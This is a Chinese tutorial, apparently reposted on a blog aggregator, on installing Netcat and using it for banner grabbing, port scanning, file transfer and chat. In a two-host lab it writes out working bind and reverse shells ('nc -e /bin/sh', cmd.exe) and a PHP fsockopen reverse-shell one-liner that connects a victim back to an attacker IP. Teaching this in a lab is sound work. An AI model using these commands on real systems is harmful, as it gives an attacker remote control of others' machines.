Netcat安装与使用(nc)

这篇具有很好参考价值的文章主要介绍了Netcat安装与使用(nc)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.Netcat简介

  Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

1.1.Netcat安装

  在Linux中都是自带Netcat的,如果没有,可以使用命令进行安装,安装完可以查看一下版本。
  在centos7.X中使用yum install nc按照的不是Netcat,需要注意。
  Windows中可以自行搜索安装,官网链接:官网

1.1.1.安装整体流程

1.1.1.1.安装依赖
命令:sudo yum install glibc*

Netcat安装与使用(nc)

1.1.1.2.安装Netcat
命令:
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install

Netcat安装与使用(nc)

1.1.1.3.配置环境变量
命令:vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin

Netcat安装与使用(nc)

1.1.1.4.测试

  这里可以使用nc -v,当然也可以使用netcat,其实是因为我懒,懒得卸载重新配置。
Netcat安装与使用(nc)

1.2.Netcat基本功能

  telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。

1.3.Netcat常用参数

  Netcat它有许多参数可供使用,以下是一些常用的Netcat参数,可以根据自己的需要选择使用,同时,Netcat还有其他更多的参数,你可以通过查看其官方文档来了解。

参数 介绍
-h 查看帮助信息。
-l 监听模式,等待其他计算机连接。
-p 指定监听的端口号。
-u 使用UDP协议。
-v 输出详细信息,如建立连接时显示IP地址和端口号。
-n 不使用DNS查找,使用IP地址进行连接。
-z 将输入/输出功能关闭,进行端口扫描。
-s 指定本地的IP地址。
-e 在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。
-w 设置超时时间,等待连接或数据的时间。
-c 发送指定字节数的数据后关闭连接。
-i 设置发送数据的时间间隔。
-q 设置程序退出前的最大延迟时间。
-k 启用TCP保持活动状态。
-r 设置随机本地端口号。
-t 以telnet形式应答。

2.Netcat用法

  nc常常跟着的参数有两个,一个是n、一个是v。
  v参数就是列出执行过程的详细信息,n参数就只接收IP地址,没有dns,之所以使用n参数,是因为使用命令的过程中只去传入IP,减少了nc把域名解析为IP的过程,这样可以节省时间提高效率。

2.1.前期准备

  两台主机都需要安装nc,以便后面的操作,nc很小,安装很快。
  kali主机:192.168.10.20
  centos7主机:192.168.10.30

2.2.banner相关信息抓取

kali命令:nc -nv 192.168.10.30 22

Netcat安装与使用(nc)

2.3.端口扫描

  如果想要单纯的端口扫描的话,使用其它工具比如nmap会更好,而使用nc的主要用途就是在内网获取到权限后,再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描,若初期就需要端口扫描的话,不建议使用nc。

2.3.1.扫描指定端口

kali命令:nc -v 192.168.10.30

Netcat安装与使用(nc)

2.3.2.扫描指定端口段

kali命令:nc -vz 192.168.10.30 20-100

Netcat安装与使用(nc)

2.4.监听端口

  监听本地端口,当访问该端口时会输出该信息到命令行,这里我使用一个云服务器来监听。

云服务器命令:nc -lp 8080

Netcat安装与使用(nc)

2.5.文件传输

  首先在kali上开启监听,然后在centos7中发送文件,当发送文件后,kali上监听到后,就可以将文件保存下来。
  这里不单单可以发送文件,像压缩包、目录等均可以传输,不过这里需要理解两个重定向符号 <和>,>是将文件进行输出,<是将文件进行输入。

2.5.1.监听

  这里设置kali监听,简单来说就是接收文件,并将文件保存到1.txt中。

kali命令:nc -lp 333 > 1.txt

Netcat安装与使用(nc)

2.5.2.发送

  这里设置centos7为发送,将当前目录下的2.txt发送至kail。

centos7命令:nc -vn 192.168.10.20 333 < 2.txt

Netcat安装与使用(nc)

2.6.简易聊天

  nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
  为了区分,kali上输入的是数字,而centos7上输入的字母。

kali命令:nc -lp 333
centos命令:nc -vn 192.168.10.20 333

Netcat安装与使用(nc)
Netcat安装与使用(nc)

2.7.获取shell

  这里默认kail系统为攻击者、centos7系统为受害者。

2.7.1.正向获取shell

  正向获取shell就是将centos7连接kali,centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
  这里不使用Windows测试,只是将Windows系统的命令使用介绍一下。

2.7.1.1.攻击者
kali命令:nc -lvp 4444 -e /bin/sh 
Windows命令:nc -lvp 4444 -e c:\windows\system32\cmd.exe

Netcat安装与使用(nc)

2.7.1.2.攻击者
centos7命令:netcat 192.168.10.20 4444

Netcat安装与使用(nc)

2.7.2.反向获取shell

  客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。通常反向shell是最常用的。

2.7.2.1.攻击者
kali命令:nc -lvp 4444 

Netcat安装与使用(nc)

2.7.2.2.受害者
centos7命令:netcat 192.168.10.20 4444 -e /bin/sh
Windows命令:nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe

Netcat安装与使用(nc)

2.8.其它获取shell

  这里其它获取shell,就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
  官网:反弹shell命令一键生成
Netcat安装与使用(nc)

2.8.1.PHP反弹shell

2.8.1.1.生成反弹命令

  这里使用官网中配置,选择php即可生成反弹shell。

命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

Netcat安装与使用(nc)

2.8.1.2.攻击者

  这里的攻击者就是kali,按照官网上开启监听。

kali命令:nc -lvnp 7777

Netcat安装与使用(nc)

2.8.1.3.受害者

  这里的受害者就是centos7,按照官网上的生成的命令进行配置,我这里centos7上没有php,所以没成功正常情况下是能够成功的,这里我主要就是演示一下。

centos7命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

Netcat安装与使用(nc)文章来源地址https://www.toymoban.com/news/detail-421190.html

到了这里,关于Netcat安装与使用(nc)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Mariadb简介、安装和简单使用

    1、介绍 MariaDB是MySQL关系数据库管理系统的一个分支,由社区开发,有商业支持,旨在继续保持在GNU GPL下开源。MariaDB的开发是由MySQL的一些原始开发者领导的,他们担心甲骨文公司收购MySQL后会有一些隐患。 MariaDB打算保持与MySQL的高度兼容性,与MySQL API和命令精确匹配。Mar

    2024年04月28日
    浏览(27)
  • STM32 第9讲 STM32CubeMX简介安装和简单使用

    STM32CubeMX是ST开发的一款图形配置工具,可以通过图形化配置自动生成初始化代码。 STM32的标准外设库已经停止维护了。 安装STM32CubeMX之前必须安装JAVA环境,这两个顺序不能调换。 官网下载地址link 下载完成后,点击安装包,直接安装即可。 接下来检测是否安装成功。 Win +

    2024年02月16日
    浏览(28)
  • 【Flink学习】NC工具安装使用 Linux命令 Windows安装

    工具安装 01-NC安装Windows版 既往学习没有留痕习惯,用的时候熟练过后就忘记了,重新开始记录学习Flink之路,Fighting! NC是一款用于端口测试、扫描的网络工具。在Flink学习中,主要用于创建端口输入数据模拟数据流。 地址为: https://eternallybored.org/misc/netcat/ 注意!!! Win

    2024年02月05日
    浏览(37)
  • AI之Merlin:Merlin(一款使用ChatGPT和GPT-4的简单且免费的工具)的简介、安装、使用方法之详细攻略

    AI之Merlin:Merlin(一款使用ChatGPT和GPT-4的简单且免费的工具)的简介、安装、使用方法之详细攻略 目录 Merlin的简介(一款使用ChatGPT和GPT-4的简单且免费的工具) Merlin的安装 第一步,先添加插件

    2024年02月13日
    浏览(41)
  • 【NC14661】简单的数据结构

    简单的数据结构 模拟,双端队列 题目就是让我们实现一个双端队列。这里偷了个懒,直接使用 S T L STL ST L 封装的双端队列。

    2024年04月11日
    浏览(19)
  • AI:DeepSpeed Chat(一款帮用户训练自己模型的工具且简单/低成本/快 RLHF 训练类ChatGPT高质量大模型)的简介、安装、使用方法之详细攻略

    AI:DeepSpeed Chat(一款帮用户训练自己模型的工具且简单/低成本/快 RLHF 训练类ChatGPT高质量大模型)的简介、安装、使用方法之详细攻略 目录 DeepSpeed Chat的简介 DeepSpeed-Chat的产生背景 DeepSpeed-Chat的简介 DeepSpeed-Chat的三大功能 DeepSpeed-RLHF 系统三大优势 DeepSpeed Chat的安装和使用方法

    2023年04月22日
    浏览(37)
  • 文心一格: AIGC简介及文心一格简单使用

    AIGC(AI Generated Content)是指利用人工智能生成内容。是利用人工智能来生成你所需要的内容,GC的意思是创作内容。与之相对应的概念中,比较熟知的还有PGC,是专业人员用来创作内容;UGC是用户自己创造内容,顾名思义AIGC是利用人工智能来创造内容。 例如现在比较爆火的

    2024年02月09日
    浏览(33)
  • ElasticSearch简介、安装、使用

    一、什么是ElasticSearch? Elasticsearch 是 Elastic Stack 核心的分布式搜索和分析引擎。 Logstash 和 Beats 有助于收集、聚合和丰富您的数据并将其存储在 Elasticsearch 中。 Kibana 使您能够以交互方式探索、可视化和分享对数据的见解,并管理和监控堆栈。 Elasticsearch 是索引、搜索和分析

    2024年02月11日
    浏览(48)
  • Docker·1(简介、安装、基本使用)

    虚拟机: 操作系统是一个很笨重的程序,即是啥都不干,虚拟本身都要占用很多内存和磁盘,并且启动很慢(操作系统要从头到尾把该检测的都检测了,该加载的都加载上)。 容器: 类似于码头的集装箱——相互隔离、长期反复使用、快速装载和卸载、规格标准,在港口和

    2024年02月02日
    浏览(25)
  • 大数据-玩转数据-netcat

    Netcat(简称nc)是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写。 https://eternallybored.org/misc/netcat/ 1、解压netcat-win32-1.12文件夹 在Path里添加netcat路径: 打开两个cmd窗口 第一个执行:nc -l -p 9999 第二个执行:nc localhost

    2024年02月02日
    浏览(20)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包